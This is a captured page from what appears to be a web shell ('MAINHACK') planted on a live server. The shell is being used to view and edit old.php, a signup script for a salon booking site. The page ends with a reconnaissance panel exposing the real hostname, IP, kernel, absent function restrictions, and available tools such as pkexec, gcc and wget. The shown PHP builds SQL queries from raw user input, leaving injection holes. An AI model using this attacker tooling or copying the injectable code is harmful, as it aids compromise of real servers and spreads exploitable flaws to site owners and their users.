[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: old.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; include("functions.php"); ?> <?php $login_message = ""; if($_SERVER["REQUEST_METHOD"] == "POST") { if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $login_message = "<p class='alert alert-danger text-center ' role='alert'>Sorry, Token Authentication invalid.</p>"; } $full_name = sql_prep($_POST['full_name']); $full_name = h($_POST['full_name']); $full_name = dirty_html($_POST['full_name']); $username = sql_prep($_POST['username']); $username = h($_POST['username']); $username = dirty_html($_POST['username']); $business_name = sql_prep($_POST['business_name']); $business_name = h($_POST['business_name']); $business_name = dirty_html($_POST['business_name']); $phone = sql_prep($_POST['phone']); $phone = h($_POST['phone']); $phone = dirty_html($_POST['phone']); $location = sql_prep($_POST['location']); $location = h($_POST['location']); $location = dirty_html($_POST['location']); $email = sql_prep($_POST['email']); $email = h($_POST['email']); $email = dirty_html($_POST['email']); $password = sql_prep($_POST['password']); $password = h($_POST['password']); $password = dirty_html($_POST['password']); $confirm_password = sql_prep($_POST['confirm_password']); $confirm_password = h($_POST['confirm_password']); $confirm_password = dirty_html($_POST['confirm_password']); $country = sql_prep($_POST['country']); $country = h($_POST['country']); $country = dirty_html($_POST['country']); $currency = sql_prep($_POST['currency']); $currency = h($_POST['currency']); $currency = dirty_html($_POST['currency']); $select = mysqli_query($new,"SELECT * FROM barber_admin WHERE email = '$email'"); $dbmail = mysqli_fetch_array($select); $mail = $dbmail['email']; $user = $dbmail['username']; $phone_number_digits = preg_replace("/[^0-9]/","",$phone); //$pattern = "/^[+]?[0-9]{1,3}[-\s.]?[(]?[0-9]{3}[)]?[-\s.]?[0-9]{3}[-\s.]?[0-9]{4}$/"; if(empty($full_name)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Full name is required</p>"; }elseif(empty($username)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Username is required</p>"; }elseif(empty($business_name)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Shop Name is required</p>"; }elseif(empty($phone)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Phone number is required</p>"; }elseif(empty($location)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Location is required</p>"; }elseif(empty($email)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Email is required</p>"; }elseif(empty($password)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Password is required</p>"; }elseif(empty($confirm_password)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Confirm is required</p>"; }elseif(!filter_var($email, FILTER_VALIDATE_EMAIL)) { $login_message = "<p class='alert alert-danger text-center ' role='alert'>Invalid email format</p>"; }elseif($password != $confirm_password){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Password do not match</p>"; }elseif(!strlen($phone_number_digits) === 10) { $login_message = "<p class='alert alert-danger text-center ' role='alert'> Phone number is invalid</p>"; }elseif(empty($nobot)){ $login_message = "<p class='alert alert-danger text-center ' role='alert'> Provide as to the question</p>"; }elseif($email == $mail){ $login_message = "<p class='alert alert-danger text-center ' role='alert'>Email already exist</p>"; }elseif($username == $user){ $login_message = "<p class='alert alert-danger text-center ' role='alert'> Username already exist</p>"; } else{ $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = md5($email . microtime()); $active = 0; $account_type = "Owner"; $expired = 'no'; $open_clode_time = '9:00 am - 9:00 pm'; $account_status = "Trial"; $forgot_pass_expire_time = date("Y-m-d"); //$string = str_replace(" ","",$business_name); $convertedString = str_replace(' ', '', $business_name); $expiryDate = date('Y-m-d', strtotime($forgot_pass_expire_time . ' + 7 days')); $stmt = $con->prepare("insert into barber_admin (username,email,full_name,password,validation_code,active,forgot_pass_expire_time,phone,business_name,location,account_type,expired,open_clode_time,account_status,master_account,country,currency) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($username,$email,$full_name,$pass,$validation_code,$active,$expiryDate,$phone_number_digits,$convertedString,$location,$account_type,$expired,$open_clode_time,$account_status,$convertedString,$country,$currency)); $checkbox_value = $_POST['checkbox_values']; $status = 0; $account_type2 = "Admin"; foreach ($checkbox_value as $value) { $query = "INSERT INTO role_permissions (page_name,status,business_name,type) VALUES ('$value','$status','$convertedString','$account_type2')"; $stmt = mysqli_query($new,$query); } $subject = "Account Created"; $mail_body = "<head> <meta name='viewport' content='width=device-width' /> <meta http-equiv='Content-Type' content='text/html; charset=UTF-8' /> </head> <body style='margin:0px; background: #f8f8f8; '> <div width='100%' style='background: #f8f8f8; padding: 0px 0px; font-family:arial; line-height:28px; height:100%; width: 100%; color: #0892D0;'> <table class='email-header'> </table> <div style='max-width: 700px; padding:50px 0; margin: 0px auto; font-size: 14px'> <center> <td class='text-center pb-4'> </td> </center> <div style='padding: 40px; background: #fff;'> <table border='0' cellpadding='0' cellspacing='0' style='width: 100%;'> <tbody> <tr> <td style='border-bottom:1px solid #0892D0;'> <h1>Verify Your Account </h1> </td> </tr> <tr> <td style='padding:10px 0 30px 0;'> <p style='font-size: 20px'>Thank you for signing up. Click on the button below to verify your account:</p> <center> <a href =\"https://thesalonfriend.com/auth/activate?email=$email&code=$validation_code\" style='display: inline-block; padding: 11px 30px; margin: 20px 0px 30px; font-size: 15px; color: #fff; background: #0892D0; border-radius: 60px; text-decoration:none;'> Verify Email</a> </center> </td> </tr> <tr> <br /><br /> </tr> </tbody> </table> </div> <center> <td class='text-center pt-4'> <p class='email-copyright-text'>Copyright © 2023 THE SALON FRIEND. All rights reserved.</p> </td> </center> </div> </div> </div> </body> </html>"; $mail = new PHPMailer(); $mail->addAddress($email); $mail->setFrom('noreply@thesalonfriend.com','thesalonfriend'); $mail->Subject = $subject; $mail->isHTML(true); $mail->CharSet= 'UTF-8'; $mail->Body = $mail_body; if($mail->send()){ $_SESSION['register_success'] = "<p class='alert alert-success text-center 'role='alert'>Activation link has been send to this email </p>"; echo "<script>"; echo "window.location.replace('index')"; echo "</script>"; }else{ echo 'Message could not be sent. Mailer Error: ', $mail->ErrorInfo; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required Meta Tags Always Come First --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Sign Up | The Salon Friend</title> <!-- Font --> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet"> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <!-- CSS Implementing Plugins --> <link rel="stylesheet" href="assets/vendor/bootstrap-icons/font/bootstrap-icons.css"> <!-- CSS Unify Template --> <link rel="stylesheet" href="assets/css/theme.min.css"> </head> <body class="d-flex align-items-center min-h-100 bg-dark"> <!-- ========== MAIN CONTENT ========== --> <main id="content" role="main" class="flex-grow-1 overflow-hidden"> <!-- Content --> <div class="container content-space-t-1 content-space-b-2"> <div class="mx-lg-auto" style="max-width: 55rem;"> <div class="d-flex justify-content-center align-items-center flex-column min-vh-lg-100"> <div class="position-relative"> <!-- Card --> <div class="card card-shadow card-login"> <div class="col-md-12"> <div class="card-body"> <!-- Form --> <form method="POST" novalidate> <?php echo csrf_token_tag(); ?> <div class="text-center"> <div class="mb-5"> <h3 class="card-title">Create your account</h3> </div> <?php echo $login_message;?> </div> <!-- Form --> <div class="row"> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="text" class="form-control form-control-lg" name="full_name" id="fullNameSrEmail" placeholder="Full name" aria-label="Mark" autocomplete="off"> </div> <!-- End Form --> </div> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="text" name="username" class="form-control form-control-lg" placeholder="Username" autocomplete="off"> </div> <!-- End Form --> </div> </div> <div class="row"> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <label class="form-label">Select Country</label> <select class="form-control" id="country_select" name="country" required> <option value=""> Select Country</option> <?php $so = mysqli_query($new,"SELECT name FROM countries order by name DESC"); while($fetch = mysqli_fetch_array($so)){ ?> <option value="<?php echo $fetch['name'];?>"> <?php echo $fetch['name'];?></option> <?php }?> </select> </div> <!-- End Form --> </div> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <label class="form-label">Country code</label> <input type="text" class="form-control" name="countryCode" id="country_code" readonly> </div> <!-- End Form --> </div> </div> <div class="row"> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="text" class="form-control form-control-lg" name="business_name" id="fullNameSrEmail" placeholder="Business/shop name" aria-label="Mark" required autocomplete="off"> <span class="invalid-feedback">Please enter business / shop name.</span> </div> <!-- End Form --> </div> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="tel" name="phone" class="form-control form-control-lg" placeholder="Phone number" aria-label="Williams" required autocomplete="off"> <span class="invalid-feedback">Please enter business number.</span> </div> <!-- End Form --> </div> </div> <!-- End Form --> <!-- Form --> <div class="mb-6"> <label class="form-label" for="signupSrEmail">Location/Address</label> <input type="text" class="form-control form-control-lg" name="location" id="signupSrEmail" placeholder="location / address" required autocomplete="off"> <span class="invalid-feedback">Please your location / address.</span> </div> <div class="mb-6"> <label class="form-label" for="signupSrEmail">Your email</label> <input type="email" class="form-control form-control-lg" name="email" id="signupSrEmail" placeholder="gmail.com" required> <span class="invalid-feedback">Please enter a valid email address.</span> </div> <!-- End Form --> <!-- Form --> <div class="row"> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="password" class="js-toggle-password form-control form-control-lg" name="password" id="signupSrPassword" placeholder="Password required" aria-label="Password" required data-hs-toggle-password-options='{ "target": [".js-toggle-password-target-1", ".js-toggle-password-target-2"], "defaultClass": "bi-eye-slash", "showClass": "bi-eye", "classChangeTarget": ".js-toggle-password-show-icon-1" }'> </div> <!-- End Form --> </div> <div class="col-sm-6"> <!-- Form --> <div class="mb-6"> <input type="password" class="js-toggle-password form-control form-control-lg" name="confirm_password" id="signupSrConfirmPassword" placeholder="Confirm password" aria-label="Confirm password required" required data-hs-toggle-password-options='{ "target": [".js-toggle-password-target-1", ".js-toggle-password-target-2"], "defaultClass": "bi-eye-slash", "showClass": "bi-eye", "classChangeTarget": ".js-toggle-password-show-icon-2" }'> </div> <!-- End Form --> </div> </div> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck1" value="Dashboard Analytics"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck2" value="Service Category"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck3" value="Service"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck4" value="In-House Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck5" value="Online Appointments"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck6" value="Suppliers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck7" value="Product Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck8" value="POS"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck9" value="Product Sales"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck10" value="Product Out of Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck11" value="Add New Stock"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck12" value="Products Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck13" value="Vendors"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck14" value="Employee"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck15" value="Payroll"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck16" value="Manage Users"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck17" value="Customers"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck18" value="Customers Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck19" value="Todays-service"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck20" value="Sales Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck21" value="Commission"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck22" value="Commission Report"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck23" value="Expenses"> <input type="hidden" checked name="checkbox_values[]" class="custom-control-input" id="customCheck24" value="Expenses Report"> <!-- Form Check --> <div class="form-check mb-4"> <input class="form-check-input" type="checkbox" required> <label class="form-check-label" for="termsCheckbox">I accept the <a href=".terms-and-conditions">Terms and Conditions</a></label> <span class="invalid-feedback">Please accept our Terms and Conditions.</span> </div> <!-- End Form Check --> <div class="d-grid gap-4"> <button type="submit" class="btn btn-primary btn-lg">Create an account</button> <p class="card-text text-muted">Remember your password? <a class="link" href="index">Log in</a></p> </div> </form> <!-- End Form --> </div> </div> <!-- End Col --> <!-- End Row --> </div> <!-- End Card --> <!-- SVG Shape --> <figure class="position-absolute top-0 end-0 zi-n1 d-none d-sm-block mt-n7 me-n10" style="width: 4rem;"> <img class="img-fluid" src="assets/svg/components/pointer-up.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> <!-- SVG Shape --> <figure class="position-absolute bottom-0 start-0 d-none d-sm-block ms-n10 mb-n10" style="width: 15rem;"> <img class="img-fluid" src="assets/svg/components/curved-shape.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> </div> </div> </div> </div> <!-- End Content --> </main> <!-- ========== END MAIN CONTENT ========== --> <!-- JS Global Compulsory --> <script src="assets/vendor/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <!-- JS Implementing Plugins --> <script src="assets/vendor/hs-toggle-password/dist/js/hs-toggle-password.js"></script> <!-- JS Unify --> <script src="assets/js/theme.min.js"></script> <script> $(document).ready(function() { $('#country_select').change(function() { var selectedCountry = $(this).val(); $.ajax({ type: 'POST', url: 'get_country_code.php', data: { country: selectedCountry }, success: function(data) { $('#country_code').val(data); } }); }); }); </script> <script> $(document).ready(function () { window.setTimeout(function() { $(".alert").fadeTo(1000, 0).slideUp(1000, function(){ $(this).remove(); }); }, 2500); }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002